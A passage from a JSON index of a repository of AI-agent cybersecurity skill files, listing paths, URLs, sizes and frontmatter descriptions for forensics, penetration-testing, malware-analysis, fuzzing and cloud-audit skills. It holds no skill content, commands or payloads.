hardening-docker-daemon-configuration.","domain":"cybersecurity","subdomain":"container-security","tags":["containers","docker","security","CIS-benchmark","assessment"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525"]},"isInternal":false,"tokens":1289,"sizeBytes":5062},{"name":"template.md","path":"skills/performing-dynamic-analysis-of-android-app/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dynamic-analysis-of-android-app/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":379,"sizeBytes":1270},{"name":"api-reference.md","path":"skills/performing-dynamic-analysis-of-android-app/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dynamic-analysis-of-android-app/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":322,"sizeBytes":1415},{"name":"standards.md","path":"skills/performing-dynamic-analysis-of-android-app/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dynamic-analysis-of-android-app/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":508,"sizeBytes":2158},{"name":"workflows.md","path":"skills/performing-dynamic-analysis-of-android-app/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dynamic-analysis-of-android-app/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":431,"sizeBytes":2796},{"name":"SKILL.md","path":"skills/performing-dynamic-analysis-of-android-app/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dynamic-analysis-of-android-app/SKILL.md","title":"performing-dynamic-analysis-of-android-app","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-of-android-app%2FSKILL.md -->","frontmatter":{"name":"performing-dynamic-analysis-of-android-app","description":"Performs runtime dynamic analysis of Android applications using Frida, Objection, and Android Debug Bridge to observe application behavior during execution, intercept function calls, modify runtime values, and identify vulnerabilities that static analysis misses. Use when testing Android apps for runtime security flaws, hooking sensitive methods, bypassing client-side protections, or analyzing obfuscated applications. Activates for requests involving Android dynamic analysis, runtime hooking, Frida Android instrumentation, or live app behavior analysis.\n","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","android","frida","dynamic-analysis","owasp-mobile","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1059","T1056","T1036","T1078","T1027"]},"isInternal":false,"tokens":1978,"sizeBytes":8725},{"name":"api-reference.md","path":"skills/performing-dynamic-analysis-with-any-run/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dynamic-analysis-with-any-run/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-with-any-run%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":780,"sizeBytes":3190},{"name":"SKILL.md","path":"skills/performing-dynamic-analysis-with-any-run/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-dynamic-analysis-with-any-run/SKILL.md","title":"performing-dynamic-analysis-with-any-run","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-dynamic-analysis-with-any-run%2FSKILL.md -->","frontmatter":{"name":"performing-dynamic-analysis-with-any-run","description":"Perform interactive dynamic malware analysis using the ANY.RUN cloud sandbox to detonate samples, observe real-time execution behavior, interact with malware prompts such as dialogs and CAPTCHAs, and capture process trees, network traffic, and system changes. Use when a suspicious file or URL needs live, interactive behavioral detonation in a cloud sandbox rather than static analysis alone.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","dynamic-analysis","sandbox","ANY.RUN","interactive-analysis"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T1591"]},"isInternal":false,"tokens":2633,"sizeBytes":11335},{"name":"template.md","path":"skills/performing-endpoint-forensics-investigation/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-forensics-investigation/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":285,"sizeBytes":1094},{"name":"api-reference.md","path":"skills/performing-endpoint-forensics-investigation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-forensics-investigation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1628,"sizeBytes":6752},{"name":"standards.md","path":"skills/performing-endpoint-forensics-investigation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-forensics-investigation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":338,"sizeBytes":1384},{"name":"workflows.md","path":"skills/performing-endpoint-forensics-investigation/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-forensics-investigation/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":410,"sizeBytes":1576},{"name":"SKILL.md","path":"skills/performing-endpoint-forensics-investigation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-forensics-investigation/SKILL.md","title":"performing-endpoint-forensics-investigation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-forensics-investigation%2FSKILL.md -->","frontmatter":{"name":"performing-endpoint-forensics-investigation","description":"Performs digital forensics investigation on compromised endpoints including memory acquisition, disk imaging, artifact analysis, and timeline reconstruction. Use when investigating security incidents, collecting evidence for legal proceedings, or analyzing endpoint compromise scope. Activates for requests involving endpoint forensics, memory analysis, disk forensics, or incident investigation.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","forensics","memory-analysis","disk-imaging","incident-investigation","Volatility"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036","T1005"]},"isInternal":false,"tokens":2046,"sizeBytes":8200},{"name":"template.md","path":"skills/performing-endpoint-vulnerability-remediation/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-vulnerability-remediation/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":525,"sizeBytes":1979},{"name":"api-reference.md","path":"skills/performing-endpoint-vulnerability-remediation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-vulnerability-remediation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1144,"sizeBytes":4457},{"name":"standards.md","path":"skills/performing-endpoint-vulnerability-remediation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-vulnerability-remediation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":678,"sizeBytes":2619},{"name":"workflows.md","path":"skills/performing-endpoint-vulnerability-remediation/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-vulnerability-remediation/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":823,"sizeBytes":3547},{"name":"SKILL.md","path":"skills/performing-endpoint-vulnerability-remediation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-endpoint-vulnerability-remediation/SKILL.md","title":"performing-endpoint-vulnerability-remediation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-endpoint-vulnerability-remediation%2FSKILL.md -->","frontmatter":{"name":"performing-endpoint-vulnerability-remediation","description":"Performs vulnerability remediation on endpoints by prioritizing CVEs based on risk scoring, deploying patches, applying configuration changes, and validating fixes. Use when remediating findings from vulnerability scans, responding to critical CVE advisories, or maintaining endpoint compliance with patch management SLAs. Activates for requests involving vulnerability remediation, CVE patching, endpoint vulnerability management, or security fix deployment.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","vulnerability-management","patching","CVE","remediation","CVSS"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036"]},"isInternal":false,"tokens":2194,"sizeBytes":8717},{"name":"api-reference.md","path":"skills/performing-entitlement-review-with-sailpoint-iiq/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-entitlement-review-with-sailpoint-iiq/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-entitlement-review-with-sailpoint-iiq%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":485,"sizeBytes":2030},{"name":"SKILL.md","path":"skills/performing-entitlement-review-with-sailpoint-iiq/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-entitlement-review-with-sailpoint-iiq/SKILL.md","title":"performing-entitlement-review-with-sailpoint-iiq","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-entitlement-review-with-sailpoint-iiq%2FSKILL.md -->","frontmatter":{"name":"performing-entitlement-review-with-sailpoint-iiq","description":"Runs entitlement review and access certification campaigns in SailPoint IdentityIQ, covering manager certifications, targeted entitlement reviews, role-based access validation, segregation-of-duties violation remediation, and automated revocation workflows. Use when performing periodic user access recertification, auditing SailPoint IIQ access governance, or investigating SOD violations.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["SailPoint","IdentityIQ","access-review","entitlement-certification","IGA","access-governance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","defense-impairment","resource-development"],"techniques":[{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"},{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"},{"id":"F1005.002","name":"Account Manipulation: Add Authorized User","tactic":"positioning","source":"f3"},{"id":"F1005.007","name":"Account Manipulation: Enable Account Features","tactic":"defense-impairment","source":"f3"}]}},"isInternal":false,"tokens":4204,"sizeBytes":18940},{"name":"template.md","path":"skills/performing-external-network-penetration-test/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-external-network-penetration-test/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":931,"sizeBytes":3481},{"name":"api-reference.md","path":"skills/performing-external-network-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-external-network-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":491,"sizeBytes":1680},{"name":"standards.md","path":"skills/performing-external-network-penetration-test/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-external-network-penetration-test/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":494,"sizeBytes":2064},{"name":"workflows.md","path":"skills/performing-external-network-penetration-test/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-external-network-penetration-test/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":917,"sizeBytes":4261},{"name":"SKILL.md","path":"skills/performing-external-network-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-external-network-penetration-test/SKILL.md","title":"performing-external-network-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-external-network-penetration-test%2FSKILL.md -->","frontmatter":{"name":"performing-external-network-penetration-test","description":"Conduct a comprehensive external network penetration test to identify vulnerabilities in internet-facing infrastructure using PTES methodology, reconnaissance, scanning, exploitation, and reporting.","domain":"cybersecurity","subdomain":"penetration-testing","tags":["external-pentest","network-security","PTES","OSSTMM","Nmap","Metasploit","vulnerability-assessment","reconnaissance","exploitation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1592"]},"isInternal":false,"tokens":3078,"sizeBytes":10550},{"name":"template.md","path":"skills/performing-false-positive-reduction-in-siem/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-false-positive-reduction-in-siem/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":190,"sizeBytes":678},{"name":"api-reference.md","path":"skills/performing-false-positive-reduction-in-siem/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-false-positive-reduction-in-siem/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":375,"sizeBytes":1566},{"name":"standards.md","path":"skills/performing-false-positive-reduction-in-siem/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-false-positive-reduction-in-siem/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":291,"sizeBytes":1069},{"name":"workflows.md","path":"skills/performing-false-positive-reduction-in-siem/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-false-positive-reduction-in-siem/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":135,"sizeBytes":629},{"name":"SKILL.md","path":"skills/performing-false-positive-reduction-in-siem/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-false-positive-reduction-in-siem/SKILL.md","title":"performing-false-positive-reduction-in-siem","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-false-positive-reduction-in-siem%2FSKILL.md -->","frontmatter":{"name":"performing-false-positive-reduction-in-siem","description":"Reduces SIEM false positives through systematic rule tuning, threshold adjustment, correlation logic refinement, allowlisting, and threat intelligence enrichment. Use when SOC analysts are overwhelmed by alert noise, when tuning noisy detection rules, or during a quarterly SIEM rule review to cut alert fatigue.","domain":"cybersecurity","subdomain":"soc-operations","tags":["siem","false-positive","alert-tuning","detection-engineering","alert-fatigue","soc","correlation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Restore Access","Password Authentication","Reissue Credential","Strong Password Policy"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566"]},"isInternal":false,"tokens":1918,"sizeBytes":7525},{"name":"api-reference.md","path":"skills/performing-file-carving-with-foremost/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-file-carving-with-foremost/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-file-carving-with-foremost%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":422,"sizeBytes":1537},{"name":"SKILL.md","path":"skills/performing-file-carving-with-foremost/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-file-carving-with-foremost/SKILL.md","title":"performing-file-carving-with-foremost","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-file-carving-with-foremost%2FSKILL.md -->","frontmatter":{"name":"performing-file-carving-with-foremost","description":"Recovers files from disk images and unallocated space using Foremost's header-footer signature carving, extracting evidence independent of the file system's state. Use during digital forensics investigations to carve deleted or fragmented files, such as documents, images, and archives, from raw disk images or unallocated space.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","file-carving","foremost","data-recovery","evidence-recovery","unallocated-space"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":3429,"sizeBytes":12557},{"name":"api-reference.md","path":"skills/performing-firmware-extraction-with-binwalk/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-firmware-extraction-with-binwalk/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-extraction-with-binwalk%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1277,"sizeBytes":4999},{"name":"SKILL.md","path":"skills/performing-firmware-extraction-with-binwalk/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-firmware-extraction-with-binwalk/SKILL.md","title":"performing-firmware-extraction-with-binwalk","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-extraction-with-binwalk%2FSKILL.md -->","frontmatter":{"name":"performing-firmware-extraction-with-binwalk","description":"Performs firmware image extraction and analysis using binwalk to identify embedded filesystems, compressed archives, bootloaders, kernel images, and cryptographic material. Covers entropy analysis for detecting encrypted or compressed regions, recursive extraction of nested archives, SquashFS/CramFS/JFFS2 filesystem mounting, and string analysis for credential and configuration discovery. Activates for requests involving firmware reverse engineering, IoT device analysis, embedded system security assessment, or router/camera firmware extraction.\n","domain":"cybersecurity","subdomain":"firmware-analysis","tags":["firmware","binwalk","extraction","entropy","IoT-security","reverse-engineering"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","nist_csf":["ID.RA-01","PR.PS-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access"],"techniques":[{"id":"T1555","name":"Credentials from Password Stores","tactic":"reconnaissance","source":"attack"},{"id":"F1029","name":"Gather Customer Information","tactic":"reconnaissance","source":"f3"},{"id":"T1110.001","name":"Brute Force: Password Guessing","tactic":"initial-access","source":"attack"},{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":2779,"sizeBytes":11125},{"name":"api-reference.md","path":"skills/performing-firmware-malware-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-firmware-malware-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-malware-analysis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":421,"sizeBytes":1642},{"name":"SKILL.md","path":"skills/performing-firmware-malware-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-firmware-malware-analysis/SKILL.md","title":"performing-firmware-malware-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-firmware-malware-analysis%2FSKILL.md -->","frontmatter":{"name":"performing-firmware-malware-analysis","description":"Analyzes firmware images for embedded malware, backdoors, and unauthorized modifications in routers, IoT devices, UEFI/BIOS, and embedded systems, covering firmware extraction, filesystem analysis, binary reverse engineering, and bootkit detection. Use for firmware security analysis, IoT malware investigation, UEFI rootkit detection, or embedded device compromise assessment.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","firmware","IoT","UEFI","embedded-security"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T1505.003"]},"isInternal":false,"tokens":2825,"sizeBytes":11901},{"name":"api-reference.md","path":"skills/performing-fuzzing-with-aflplusplus/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-fuzzing-with-aflplusplus/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-fuzzing-with-aflplusplus%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":601,"sizeBytes":2223},{"name":"SKILL.md","path":"skills/performing-fuzzing-with-aflplusplus/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-fuzzing-with-aflplusplus/SKILL.md","title":"performing-fuzzing-with-aflplusplus","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-fuzzing-with-aflplusplus%2FSKILL.md -->","frontmatter":{"name":"performing-fuzzing-with-aflplusplus","description":"Performs coverage-guided fuzzing of compiled binaries with AFL++, instrumenting targets via afl-cc/afl-clang-fast, minimizing corpora with afl-cmin and afl-tmin, running parallel campaigns with afl-fuzz, and triaging crashes with CASR or GDB scripts. Use for binary fuzzing, crash and memory-corruption discovery, coverage-guided testing, or running AFL++ fuzzing campaigns.\n","domain":"cybersecurity","subdomain":"application-security","tags":["fuzzing","aflplusplus","coverage-guided","crash-triage","binary-analysis","security-testing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.PS-01","PR.PS-04","ID.RA-01","PR.DS-10"],"mitre_attack":["T1078","T1190","T1059","T1005"]},"isInternal":false,"tokens":694,"sizeBytes":2575},{"name":"api-reference.md","path":"skills/performing-gcp-penetration-testing-with-gcpbucketbrute/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-gcp-penetration-testing-with-gcpbucketbrute/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-penetration-testing-with-gcpbucketbrute%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":562,"sizeBytes":2387},{"name":"SKILL.md","path":"skills/performing-gcp-penetration-testing-with-gcpbucketbrute/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-gcp-penetration-testing-with-gcpbucketbrute/SKILL.md","title":"performing-gcp-penetration-testing-with-gcpbucketbrute","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-gcp-penetration-testing-with-gcpbucketbrute%2FSKILL.md -->","frontmatter":{"name":"performing-gcp-penetration-testing-with-gcpbucketbrute","description":"Performs authorized GCP security testing using GCPBucketBrute to enumerate publicly accessible storage buckets, combined with gcloud CLI IAM enumeration to find privilege escalation paths and audit service account permissions. Use when penetration testing a GCP project for exposed buckets, overly permissive IAM bindings, or service account key 